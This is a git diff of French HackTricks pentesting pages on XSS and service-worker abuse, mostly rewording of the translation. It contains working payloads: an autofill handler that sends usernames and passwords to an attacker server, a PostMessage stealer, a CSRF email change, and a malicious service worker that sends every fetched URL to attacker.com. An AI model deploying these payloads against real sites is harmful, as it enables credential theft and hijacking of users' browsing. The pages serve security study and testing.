De manière similaire à l'exemple précédent, il est possible d'utiliser des **gestionnaires d'erreurs** pour accéder à l'**enveloppe** du module et obtenir la fonction **`require`**:
|
||||||
```javascript
|
```javascript
|
||||||
try {
|
try {
|
||||||
|
@ -1054,9 +1050,9 @@ trigger()
|
||||||
```javascript
|
```javascript
|
||||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||||
```
|
```
|
||||||
## Payloads XSS courants
|
## Charges utiles XSS courantes
|
||||||
|
|
||||||
### Plusieurs payloads en 1
|
### Plusieurs charges utiles en 1
|
||||||
|
|
||||||
{% content-ref url="steal-info-js.md" %}
|
{% content-ref url="steal-info-js.md" %}
|
||||||
[steal-info-js.md](steal-info-js.md)
|
[steal-info-js.md](steal-info-js.md)
|
||||||
|
@ -1166,7 +1162,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
_Les temps courts indiquent un port répondant_ _Les temps plus longs indiquent l'absence de réponse._
|
_Les courts délais indiquent un port répondant_ _Les délais plus longs indiquent l'absence de réponse._
|
||||||
|
|
||||||
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||||
|
|
||||||
|
@ -1185,7 +1181,7 @@ mode: 'no-cors',
|
||||||
body:username.value+':'+this.value
|
body:username.value+':'+this.value
|
||||||
});">
|
});">
|
||||||
```
|
```
|
||||||
Lorsque des données sont saisies dans le champ mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées.
|
Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées.
|
||||||
|
|
||||||
### Enregistreur de frappe
|
### Enregistreur de frappe
|
||||||
|
|
||||||
|
@ -1212,6 +1208,8 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Vol de messages PostMessage
|
### Vol de messages PostMessage
|
||||||
|
|
||||||
|
Stealing PostMessage messages
|
||||||
```markup
|
```markup
|
||||||
<img src="https://attacker.com/?" id=message>
|
<img src="https://attacker.com/?" id=message>
|
||||||
<script>
|
<script>
|
||||||
|
@ -1219,13 +1217,13 @@ window.onmessage = function(e){
|
||||||
document.getElementById("message").src += "&"+e.data;
|
document.getElementById("message").src += "&"+e.data;
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Abuser des Travailleurs de Service
|
### Abus des Travailleurs de Service
|
||||||
|
|
||||||
{% content-ref url="abusing-service-workers.md" %}
|
{% content-ref url="abusing-service-workers.md" %}
|
||||||
[abusing-service-workers.md](abusing-service-workers.md)
|
[abusing-service-workers.md](abusing-service-workers.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Accéder au Shadow DOM
|
### Accès au DOM de l'Ombre
|
||||||
|
|
||||||
{% content-ref url="shadow-dom.md" %}
|
{% content-ref url="shadow-dom.md" %}
|
||||||
[shadow-dom.md](shadow-dom.md)
|
[shadow-dom.md](shadow-dom.md)
|
||||||
|
@ -1235,7 +1233,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||||
|
|
||||||
### Charges utiles Blind XSS
|
### Charges utiles XSS aveugles
|
||||||
|
|
||||||
Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```markup
|
```markup
|
||||||
|
@ -1279,7 +1277,7 @@ Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```
|
```
|
||||||
### Regex - Accéder au contenu caché
|
### Regex - Accéder au contenu caché
|
||||||
|
|
||||||
D'après [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de découvrir que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
|
À partir de [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée :
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1298,11 +1296,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||||
|
|
||||||
## XSS Abusant d'autres vulnérabilités
|
## Exploitation XSS d'autres vulnérabilités
|
||||||
|
|
||||||
### XSS dans Markdown
|
### XSS dans Markdown
|
||||||
|
|
||||||
Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
|
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir du XSS ! Vérifiez :
|
||||||
|
|
||||||
{% content-ref url="xss-in-markdown.md" %}
|
{% content-ref url="xss-in-markdown.md" %}
|
||||||
[xss-in-markdown.md](xss-in-markdown.md)
|
[xss-in-markdown.md](xss-in-markdown.md)
|
||||||
|
@ -1310,7 +1308,7 @@ Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obten
|
||||||
|
|
||||||
### XSS vers SSRF
|
### XSS vers SSRF
|
||||||
|
|
||||||
Avez-vous obtenu du XSS sur un **site qui utilise le caching** ? Essayez de **le mettre à niveau vers SSRF** en utilisant une Injection Edge Side Include avec cette charge utile :
|
Avez-vous obtenu du XSS sur un **site qui utilise du caching** ? Essayez de **le transformer en SSRF** en utilisant une Injection Edge Side Include avec cette charge utile :
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
|
@ -1334,9 +1332,9 @@ Si vous ne pouvez pas injecter de balises HTML, il pourrait être utile d'essaye
|
||||||
|
|
||||||
### XSS dans Amp4Email
|
### XSS dans Amp4Email
|
||||||
|
|
||||||
AMP est une technologie connue pour développer des pages web super rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec un accent supplémentaire sur la performance et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
|
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites).
|
||||||
|
|
||||||
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.
|
Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir directement avec le contenu dans leurs e-mails.
|
||||||
|
|
||||||
Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||||
|
|
||||||
|
@ -1414,12 +1412,9 @@ Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-ch
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
### OUTILS XSS
|
|
||||||
|
|
||||||
Trouvez quelques [**outils pour XSS ici**](xss-tools.md)**.**
|
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Conseil de prime de bug**: **inscrivez-vous** pour **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -1427,12 +1422,12 @@ Trouvez quelques [**outils pour XSS ici**](xss-tools.md)**.**
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks:
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,56 +1,52 @@
|
||||||
# Abus des travailleurs de service
|
# Abus des Travailleurs de Service
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## Informations de base
|
## Informations de Base
|
||||||
|
|
||||||
Un travailleur de service est un **script** que votre navigateur **exécute** en **arrière-plan**, indépendamment d'une page web, ouvrant la porte à des fonctionnalités qui n'ont pas besoin d'une page web ou d'une interaction utilisateur. ([Plus d'informations sur ce qu'est un travailleur de service ici](https://developers.google.com/web/fundamentals/primers/service-workers)).\
|
Un **travailleur de service** est un script exécuté par votre navigateur en arrière-plan, indépendamment de toute page web, permettant des fonctionnalités qui ne nécessitent pas une page web ou une interaction utilisateur, améliorant ainsi les capacités de **traitement hors ligne et en arrière-plan**. Des informations détaillées sur les travailleurs de service peuvent être trouvées [ici](https://developers.google.com/web/fundamentals/primers/service-workers). En exploitant les travailleurs de service au sein d'un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.
|
||||||
Ensuite, vous pouvez abuser des travailleurs de service en les **créant/modifiant** dans la **session de la victime** à l'intérieur du **domaine web vulnérable** qui accorde au **attaquant le contrôle** sur **toutes les pages** que la **victime** chargera dans **ce domaine**.
|
|
||||||
|
|
||||||
### Vérifier les travailleurs de service existants
|
### Vérification des Travailleurs de Service Existants
|
||||||
|
|
||||||
Vous pouvez les voir dans le champ **Travailleurs de service** de l'onglet **Outils de développement**. Vous pouvez également consulter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
|
Les travailleurs de service existants peuvent être vérifiés dans la section **Travailleurs de Service** de l'onglet **Application** dans les **Outils de Développement**. Une autre méthode consiste à visiter [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) pour une vue plus détaillée.
|
||||||
|
|
||||||
### Notifications push
|
### Notifications Push
|
||||||
|
|
||||||
Si la victime n'a pas accordé les **permissions de notifications push**, le travailleur de service **ne pourra pas recevoir de communications du serveur si l'utilisateur n'accède pas à nouveau à la page de l'attaquant**. Cela **empêchera**, par exemple, de maintenir des conversations avec toutes les pages qui ont accédé à la page web de l'attaquant, de sorte qu'une exploitation web si un travailleur de service est trouvé, il peut la recevoir et l'exécuter.\
|
Les **autorisations de notifications push** impactent directement la capacité d'un **travailleur de service** à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les autorisations sont refusées, cela limite le potentiel du travailleur de service à poser une menace continue. En revanche, accorder des autorisations augmente les risques de sécurité en permettant la réception et l'exécution d'exploitations potentielles.
|
||||||
Cependant, si la victime **accorde les permissions de notifications push, cela pourrait être un risque**.
|
|
||||||
|
|
||||||
## Attaque en créant un travailleur de service
|
## Attaque Créant un Travailleur de Service
|
||||||
|
|
||||||
Pour exploiter cette vulnérabilité, vous devez trouver :
|
Pour exploiter cette vulnérabilité, vous devez trouver :
|
||||||
|
|
||||||
* Un moyen de **télécharger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le travailleur de service** du fichier JS téléchargé
|
* Un moyen de **charger des fichiers JS arbitraires** sur le serveur et un **XSS pour charger le travailleur de service** du fichier JS chargé
|
||||||
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec une charge utile** qui **chargera un travailleur de service malveillant**.
|
* Une **requête JSONP vulnérable** où vous pouvez **manipuler la sortie (avec du code JS arbitraire)** et un **XSS** pour **charger le JSONP avec une charge utile** qui **chargera un travailleur de service malveillant**.
|
||||||
|
|
||||||
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau travailleur de service** qui écoutera l'événement `fetch` et **enverra à l'attaquant chaque URL récupérée** (c'est le code dont vous auriez besoin pour **télécharger** sur le **serveur** ou charger via une réponse **JSONP vulnérable**) :
|
Dans l'exemple suivant, je vais présenter un code pour **enregistrer un nouveau travailleur de service** qui écoutera l'événement `fetch` et **enverra vers le serveur des attaquants chaque URL récupérée** (c'est le code dont vous auriez besoin de **charger** sur le **serveur** ou de charger via une réponse **JSONP vulnérable**) :
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Et voici le code qui va **enregistrer le worker** (le code que vous devriez pouvoir exécuter en abusant d'une **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** pour **notifier** si l'enregistrement du service worker a réussi ou non:
|
Et voici le code qui va **enregistrer le worker** (le code que vous devriez pouvoir exécuter en abusant d'un **XSS**). Dans ce cas, une requête **GET** sera envoyée au serveur des **attaquants** pour **notifier** si l'**enregistrement** du service worker a été réussi ou non:
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
window.addEventListener('load', function() {
|
window.addEventListener('load', function() {
|
||||||
|
@ -68,17 +64,17 @@ xhttp2.send();
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
En cas d'abus d'un point d'extrémité JSONP vulnérable, vous devez placer la valeur à l'intérieur de `var sw`. Par exemple:
|
En cas d'abus d'un point de terminaison JSONP vulnérable, vous devez placer la valeur à l'intérieur de `var sw`. Par exemple:
|
||||||
```javascript
|
```javascript
|
||||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||||
```
|
```
|
||||||
Il existe un **C2** dédié à l'**exploitation des Service Workers** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour exploiter ces vulnérabilités.
|
Il existe un **C2** dédié à l'**exploitation des Travailleurs de Service** appelé [**Shadow Workers**](https://shadow-workers.github.io) qui sera très utile pour abuser de ces vulnérabilités.
|
||||||
|
|
||||||
Dans une situation XSS, la directive de cache de 24 heures garantit qu'un SW malveillant ou compromis survivra à une correction de la vulnérabilité XSS pendant au maximum 24 heures (en supposant que le client soit en ligne). Les opérateurs de site peuvent réduire la fenêtre de vulnérabilité en définissant des TTL plus bas sur les scripts SW. Nous encourageons également les développeurs à [créer un SW avec un interrupteur d'arrêt](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776).
|
La directive de **cache de 24 heures** limite la durée de vie d'un Travailleur de Service (SW) malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Temps de Vie (TTL) du script SW. Les développeurs sont également invités à créer un [**interrupteur d'arrêt du service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) pour une désactivation rapide.
|
||||||
|
|
||||||
## Abus de `importScripts` dans un SW via le DOM Clobbering
|
## Abus de `importScripts` dans un SW via le DOM Clobbering
|
||||||
|
|
||||||
La fonction **`importScripts`** appelée depuis un Service Worker peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait en mesure d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
|
La fonction **`importScripts`** appelée depuis un Travailleur de Service peut **importer un script depuis un domaine différent**. Si cette fonction est appelée en utilisant un **paramètre que l'attaquant pourrait** modifier, il serait capable d'**importer un script JS depuis son domaine** et d'obtenir une XSS.
|
||||||
|
|
||||||
**Cela contourne même les protections CSP.**
|
**Cela contourne même les protections CSP.**
|
||||||
|
|
||||||
|
@ -108,7 +104,7 @@ Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :
|
||||||
|
|
||||||
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
|
Si l'URL/domaine utilisé par le SW pour appeler **`importScripts`** est **à l'intérieur d'un élément HTML**, il est **possible de le modifier via le DOM Clobbering** pour que le SW **charge un script depuis votre propre domaine**.
|
||||||
|
|
||||||
Pour un exemple de cela, consultez le lien de référence.
|
Pour un exemple, consultez le lien de référence.
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -116,7 +112,7 @@ Pour un exemple de cela, consultez le lien de référence.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -125,10 +121,10 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
